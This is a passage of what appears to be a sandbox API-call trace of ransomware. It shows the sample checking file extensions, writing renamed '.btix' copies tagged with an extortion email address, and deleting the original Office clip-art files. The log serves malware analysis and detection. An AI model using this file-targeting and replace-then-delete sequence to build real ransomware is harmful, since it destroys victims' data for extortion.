lstrlenW (lpString=".bz2") returned 4 [0154.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.144] lstrlenW (lpString=".7z") returned 3 [0154.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0154.144] lstrlenW (lpString=".dbf") returned 4 [0154.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0154.144] lstrlenW (lpString=".1cd") returned 4 [0154.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0154.145] lstrlenW (lpString=".jpg") returned 4 [0154.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.145] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.145] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.146] GetLastError () returned 0x0 [0154.146] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xbf4, lpOverlapped=0x0) returned 1 [0154.474] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xc00, lpOverlapped=0x0) returned 1 [0154.475] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.475] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.475] SetEndOfFile (hFile=0x35c) returned 1 [0154.488] CloseHandle (hObject=0x35c) returned 1 [0154.488] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.488] SetEndOfFile (hFile=0x378) returned 1 [0154.489] CloseHandle (hObject=0x378) returned 1 [0154.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0154.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0154.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0154.490] lstrlenW (lpString=".doc") returned 4 [0154.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.490] lstrlenW (lpString=".docx") returned 5 [0154.490] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.490] lstrlenW (lpString=".pdf") returned 4 [0154.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.490] lstrlenW (lpString=".xls") returned 4 [0154.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.490] lstrlenW (lpString=".xlsx") returned 5 [0154.490] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.490] lstrlenW (lpString=".ppt") returned 4 [0154.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0154.490] lstrlenW (lpString=".zip") returned 4 [0154.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.490] lstrlenW (lpString=".rar") returned 4 [0154.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.491] lstrlenW (lpString=".bz2") returned 4 [0154.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.491] lstrlenW (lpString=".7z") returned 3 [0154.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0154.491] lstrlenW (lpString=".dbf") returned 4 [0154.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0154.491] lstrlenW (lpString=".1cd") returned 4 [0154.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0154.491] lstrlenW (lpString=".jpg") returned 4 [0154.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.497] GetLastError () returned 0x0 [0154.497] ReadFile (in: hFile=0x38c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4146, lpOverlapped=0x0) returned 1 [0154.515] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4150, lpOverlapped=0x0) returned 1 [0154.516] ReadFile (in: hFile=0x38c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.516] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.516] SetEndOfFile (hFile=0x358) returned 1 [0154.516] CloseHandle (hObject=0x358) returned 1 [0154.516] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.516] SetEndOfFile (hFile=0x38c) returned 1 [0154.517] CloseHandle (hObject=0x38c) returned 1 [0154.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0154.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0154.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0154.518] lstrlenW (lpString=".doc") returned 4 [0154.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.518] lstrlenW (lpString=".docx") returned 5 [0154.518] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0154.518] lstrlenW (lpString=".pdf") returned 4 [0154.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.518] lstrlenW (lpString=".xls") returned 4 [0154.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.518] lstrlenW (lpString=".xlsx") returned 5 [0154.518] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0154.518] lstrlenW (lpString=".ppt") returned 4 [0154.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0154.518] lstrlenW (lpString=".zip") returned 4 [0154.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.518] lstrlenW (lpString=".rar") returned 4 [0154.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.518] lstrlenW (lpString=".bz2") returned 4 [0154.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.519] lstrlenW (lpString=".7z") returned 3 [0154.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0154.519] lstrlenW (lpString=".dbf") returned 4 [0154.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0154.519] lstrlenW (lpString=".1cd") returned 4 [0154.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0154.519] lstrlenW (lpString=".jpg") returned 4 [0154.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.519] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.519] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.520] GetLastError () returned 0x0 [0154.520] ReadFile (in: hFile=0x38c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xc056, lpOverlapped=0x0) returned 1 [0154.529] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xc060, lpOverlapped=0x0) returned 1 [0154.530] ReadFile (in: hFile=0x38c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.530] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.530] SetEndOfFile (hFile=0x358) returned 1 [0154.531] CloseHandle (hObject=0x358) returned 1 [0154.531] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.531] SetEndOfFile (hFile=0x38c) returned 1 [0154.532] CloseHandle (hObject=0x38c) returned 1 [0154.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0154.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0154.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0154.532] lstrlenW (lpString=".doc") returned 4 [0154.532] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.532] lstrlenW (lpString=".docx") returned 5 [0154.532] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0154.532] lstrlenW (lpString=".pdf") returned 4 [0154.532] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.532] lstrlenW (lpString=".xls") returned 4 [0154.532] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.532] lstrlenW (lpString=".xlsx") returned 5 [0154.532] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0154.533] lstrlenW (lpString=".ppt") returned 4 [0154.533] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0154.533] lstrlenW (lpString=".zip") returned 4 [0154.533] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.533] lstrlenW (lpString=".rar") returned 4 [0154.533] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.533] lstrlenW (lpString=".bz2") returned 4 [0154.533] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.533] lstrlenW (lpString=".7z") returned 3 [0154.533] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0154.533] lstrlenW (lpString=".dbf") returned 4 [0154.533] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0154.533] lstrlenW (lpString=".1cd") returned 4 [0154.533] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0154.533] lstrlenW (lpString=".jpg") returned 4 [0154.533] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.544] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.544] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.558] GetLastError () returned 0x0 [0154.558] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x45cb, lpOverlapped=0x0) returned 1 [0154.584] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x45d0, lpOverlapped=0x0) returned 1 [0154.585] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.585] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.585] SetEndOfFile (hFile=0x374) returned 1 [0154.586] CloseHandle (hObject=0x374) returned 1 [0154.586] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.586] SetEndOfFile (hFile=0x348) returned 1 [0154.586] CloseHandle (hObject=0x348) returned 1 [0154.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0154.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0154.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0154.587] lstrlenW (lpString=".doc") returned 4 [0154.587] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.587] lstrlenW (lpString=".docx") returned 5 [0154.587] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0154.587] lstrlenW (lpString=".pdf") returned 4 [0154.587] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.587] lstrlenW (lpString=".xls") returned 4 [0154.587] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.587] lstrlenW (lpString=".xlsx") returned 5 [0154.587] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0154.587] lstrlenW (lpString=".ppt") returned 4 [0154.587] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0154.587] lstrlenW (lpString=".zip") returned 4 [0154.588] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.588] lstrlenW (lpString=".rar") returned 4 [0154.588] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.588] lstrlenW (lpString=".bz2") returned 4 [0154.588] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.588] lstrlenW (lpString=".7z") returned 3 [0154.588] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0154.588] lstrlenW (lpString=".dbf") returned 4 [0154.588] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0154.588] lstrlenW (lpString=".1cd") returned 4 [0154.588] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0154.588] lstrlenW (lpString=".jpg") returned 4 [0154.588] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.597] GetLastError () returned 0x0 [0154.597] ReadFile (in: hFile=0x368, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0154.601] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0154.602] ReadFile (in: hFile=0x368, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.602] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.602] SetEndOfFile (hFile=0x358) returned 1 [0154.604] CloseHandle (hObject=0x358) returned 1 [0154.606] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.607] SetEndOfFile (hFile=0x368) returned 1 [0154.614] CloseHandle (hObject=0x368) returned 1 [0154.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0154.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0154.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0154.620] lstrlenW (lpString=".doc") returned 4 [0154.620] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.620] lstrlenW (lpString=".docx") returned 5 [0154.620] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0154.620] lstrlenW (lpString=".pdf") returned 4 [0154.621] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.621] lstrlenW (lpString=".xls") returned 4 [0154.621] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.621] lstrlenW (lpString=".xlsx") returned 5 [0154.621] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0154.621] lstrlenW (lpString=".ppt") returned 4 [0154.621] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0154.621] lstrlenW (lpString=".zip") returned 4 [0154.621] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.621] lstrlenW (lpString=".rar") returned 4 [0154.621] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.621] lstrlenW (lpString=".bz2") returned 4 [0154.621] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.621] lstrlenW (lpString=".7z") returned 3 [0154.621] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0154.621] lstrlenW (lpString=".dbf") returned 4 [0154.621] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0154.621] lstrlenW (lpString=".1cd") returned 4 [0154.621] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0154.621] lstrlenW (lpString=".jpg") returned 4 [0154.621] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.625] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.625] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.628] GetLastError () returned 0x0 [0154.628] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x6b01, lpOverlapped=0x0) returned 1 [0154.632] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x6b10, lpOverlapped=0x0) returned 1 